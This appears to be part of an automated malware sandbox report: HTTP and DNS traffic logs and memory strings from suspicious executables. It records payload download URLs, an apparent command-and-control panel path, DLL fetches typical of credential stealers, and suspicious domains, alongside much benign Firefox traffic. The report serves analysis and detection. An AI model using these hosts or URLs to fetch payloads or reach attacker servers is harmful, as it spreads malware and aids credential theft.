Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000025.00000002.2857909402.000001522690A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2857909402.000001522690A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000025.00000002.2857909402.000001522690A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: disobey-curly.sbs
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: disobey-curly.sbs

Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000131F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe3
Source: f5d46eacf9.exe, 0000000E.00000003.2858010384.000000000131F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeE
Source: f5d46eacf9.exe, 0000000E.00000002.3017319683.0000000000F7A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exes
Source: f5d46eacf9.exe, 00000010.00000003.3120632165.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exex
Source: f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3120632165.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: f5d46eacf9.exe, 00000010.00000003.3120632165.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeN
Source: f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exelt
Source: f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllz
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllm
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllH
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpows
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpv
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://185.215.113.206ones
Source: skotes.exe, 00000006.00000003.2984493696.000000000195F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3120632165.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exe
Source: f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exes
Source: f5d46eacf9.exe, 00000010.00000003.3120632165.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3098766977.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exest
Source: f5d46eacf9.exe, 0000000E.00000002.3019293208.000000000136B000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2856262027.000000000137B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rnd.exesvt
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: aspnet_regiis.exe, 00000009.00000003.2598137890.0000000002A58000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608370830.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608979660.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608439667.0000000002AAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: aspnet_regiis.exe, 00000009.00000003.2608370830.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608979660.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608439667.0000000002AAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m/pki
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000033.00000003.2923957056.000001FD029BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2943366666.000001FD02A31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2941146283.000001FD02865000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3008595129.000001FD02D40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3019356663.000001FD02BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000033.00000003.2924254375.000001FD02980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2923751238.000001FD028F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2924757428.000001FD02978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc
Source: firefox.exe, 00000033.00000003.2924254375.000001FD02980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2939371232.000001FD02783000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2923751238.000001FD028F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: aspnet_regiis.exe, 00000009.00000003.2598137890.0000000002A58000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608012030.0000000002AAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: firefox.exe, 00000033.00000003.3105871513.000001FD01BCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3115660934.000001FD01BAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2975217464.000001FD010C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3105871513.000001FD01BD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2979213987.000001FD029BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3051375989.000001FD01BAA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2916659529.000001FD7EB9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2968259501.000001FD01063000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3040113575.000001FD01BD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2915117855.000001FD7EBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2965537279.000001FD01370000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3052742933.000001FD01370000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3108436253.000001FD01370000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3115660934.000001FD01BD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3102344180.000001FD015AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3114920683.0000020000081000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3105871513.000001FD01BAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000025.00000003.2820233513.000001522763D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2805916625.000001522763D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: aspnet_regiis.exe, 00000009.00000003.2505902329.0000000004EE1000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2660033541.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2816330081.000000000570B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
